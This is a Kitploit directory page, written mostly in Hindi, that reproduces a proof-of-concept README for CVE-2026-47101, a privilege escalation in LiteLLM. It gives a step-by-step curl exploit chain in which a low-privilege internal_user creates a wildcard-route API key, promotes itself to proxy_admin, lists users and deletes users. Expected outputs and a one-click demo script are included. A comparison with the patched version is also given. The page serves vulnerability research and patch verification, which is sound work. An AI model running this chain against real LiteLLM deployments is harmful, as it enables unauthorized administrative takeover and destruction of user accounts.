Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-47101-PoC — संबंधित भेद्यता को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2026-47101-poc
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगगलत कॉन्फ़िगरेशनलर्निंग और शिक्षालैब और अभ्यास
GitHub
435 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
learner202649/cve-2026-47101-poc

CVE-2026-47101-PoC

संबंधित भेद्यता को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड

रिपॉजिटरी देखें

CVE-2026-47101 — LiteLLM Privilege Escalation via /key/generate + /user/update

LiteLLM v1.82.6 (v1.83.14 से पहले) का /key/generate एंडपॉइंट कम-विशेषाधिकार वाले internal_user को वाइल्डकार्ड रूट ["/*"] वाली API key बनाने की अनुमति देता है, और फिर /user/update एंडपॉइंट के माध्यम से स्वयं को proxy_admin में उन्नत कर लेता है, जिससे अनधिकृत विशेषाधिकार वृद्धि होती है।

क्षेत्रमान
CVECVE-2026-47101
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (गलत प्राधिकरण)
प्रभावितLiteLLM < 1.83.14 (v1.82.6 पर पुष्टि की गई)
ठीक किया गयाv1.83.14+ (इसमें allowed_routes रोल सत्यापन जोड़ा गया)
प्रकाशित2026-05-21
खोजकर्ताFenix Qiao (13ph03nix) — Obsidian Security
लिंकNVD

विवरण

LiteLLM का /key/generate एंडपॉइंट API key बनाने के लिए उपयोग किया जाता है, और /user/update उपयोगकर्ता गुणों को अपडेट करने के लिए। इन दोनों एंडपॉइंट्स के प्राधिकरण जांच में तीन जुड़े हुए दोष हैं, जिनका कम-विशेषाधिकार वाला उपयोगकर्ता लाभ उठा सकता है:

  1. /key/generate allowed_routes को सत्यापित नहीं करता — कोई भी रोल (जिसमें internal_user भी शामिल है) ["/*"] वाइल्डकार्ड रूट का अनुरोध कर सकता है
  2. रूट जांच allowed_routes वाइल्डकार्ड मिलान पर पीछे हट जाती है — बनाई गई वाइल्डकार्ड key सभी प्रबंधन एंडपॉइंट्स तक पहुँच सकती है
  3. /user/update स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है — वाइल्डकार्ड key का उपयोग करके स्वयं को proxy_admin में उन्नत किया जा सकता है

आक्रमण श्रृंखला

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

प्रूफ़ ऑफ़ कॉन्सेप्ट

वातावरण तैयार करना

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm

# 等待服务就绪(约 10-30 秒)
sleep 15

सेवा चलने की पुष्टि करें

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

अपेक्षित आउटपुट में Uvicorn running on http://0.0.0.0:4000 जैसे सफल प्रारंभ लॉग शामिल होने चाहिए।

चरण 1: internal_user खाता बनाएँ

मास्टर key का उपयोग करके एक कम-विशेषाधिकार वाला internal_user खाता बनाएँ:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

लौटाए गए user_id और key को नोट कर लें, इनका आगे के चरणों में उपयोग होगा।

चरण 2: वाइल्डकार्ड रूट वाली API key बनाएँ

internal_user के रूप में /key/generate को कॉल करें, ["/*"] वाइल्डकार्ड रूट वाली API key का अनुरोध करें:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

अपेक्षित आउटपुट:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ कमज़ोरी: internal_user ने सफलतापूर्वक ["/*"] वाइल्डकार्ड रूट वाली API key बना ली! यह key सभी प्रबंधन एंडपॉइंट्स तक पहुँच सकती है, जिसमें /user/update, /user/list आदि शामिल हैं।

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि

वाइल्डकार्ड रूट key का उपयोग करके /user/update को कॉल करें, उपयोगकर्ता रोल को proxy_admin में उन्नत करें:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ कमज़ोरी: user_role internal_user से बदलकर proxy_admin हो गया है! /user/update एंडपॉइंट उपयोगकर्ताओं को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी अनुमति प्रतिबंध के।

चरण 4: व्यवस्थापक पहुँच सत्यापित करें

/user/list एंडपॉइंट के माध्यम से रोल उन्नति की पुष्टि करें:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

अपेक्षित आउटपुट:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

/user/list एंडपॉइंट केवल proxy_admin रोल तक पहुँच की अनुमति देता है। उपयोगकर्ता सूची सफलतापूर्वक प्राप्त करना विशेषाधिकार वृद्धि की पुष्टि करता है।

चरण 5: विस्तार — व्यवस्थापक उपयोगकर्ता हटाएँ

प्राप्त proxy_admin अनुमति का उपयोग करके, /user/delete के माध्यम से किसी भी उपयोगकर्ता को हटाया जा सकता है:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

अपेक्षित आउटपुट:

1

एक-क्लिक पुनरुत्पादन

उपरोक्त चरणों को demo.sh में एकीकृत किया गया है, इसे सीधे चलाया जा सकता है:

# 完整复现(包含步骤 1-5)
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

फिक्स्ड वर्ज़न सत्यापन

फिक्स्ड वर्ज़न (v1.83.14-stable) प्रारंभ करके जाँचें कि कमज़ोरी ठीक हो गई है:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

internal_user बनाएँ:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

वाइल्डकार्ड रूट वाली key बनाने का प्रयास करें (अपेक्षित: अवरुद्ध):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

अपेक्षित आउटपुट (फिक्स्ड वर्ज़न अनधिकृत अनुरोध को रोकता है):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

कमज़ोर वर्ज़न से तुलना:

परीक्षण परिदृश्यकमज़ोर वर्ज़न (v1.82.6)फिक्स्ड वर्ज़न (v1.83.14)
internal_user द्वारा ["/*"] का अनुरोध✅ सफलतापूर्वक वाइल्डकार्ड key बनी❌ अवरुद्ध (HTTP 403)
वाइल्डकार्ड key द्वारा user_role संशोधन✅ सफलतापूर्वक proxy_admin में उन्नति❌ अवरुद्ध
वाइल्डकार्ड key द्वारा /user/list तक पहुँच✅ सफलतापूर्वक उपयोगकर्ता सूची प्राप्त❌ अवरुद्ध

कमज़ोर एंडपॉइंट्स

POST /key/generate

नई API key बनाता है। allowed_routes पैरामीटर key द्वारा सुलभ एंडपॉइंट रूट्स की सूची को सीमित करने के लिए उपयोग किया जाता है।

फ़ील्डप्रकारआवश्यकविवरण
allowed_routesarrayनहींअनुमत रूट्स की सूची, जैसे ["/*"] का अर्थ सभी रूट

POST /user/update

उपयोगकर्ता गुणों को अपडेट करता है, जिसमें user_role फ़ील्ड शामिल है।

फ़ील्डप्रकारआवश्यकविवरण
user_idstringहाँअपडेट किए जाने वाले उपयोगकर्ता का ID
user_rolestringहाँनई भूमिका (जैसे proxy_admin)

शोषण तकनीक

चरण 1: वाइल्डकार्ड रूट वाली API key बनाएँ

internal_user के रूप में, ["/*"] वाली key का अनुरोध करने के लिए /key/generate को कॉल करें:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

प्रतिक्रिया में नई API key शामिल होती है, जिसके पास वाइल्डकार्ड रूट अनुमति होती है।

चरण 2: रोल को proxy_admin में उन्नत करें

वाइल्डकार्ड key का उपयोग करके /user/update को कॉल करें:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

चरण 3: व्यवस्थापक अनुमति सत्यापित करें

टूल डाउनलोड करें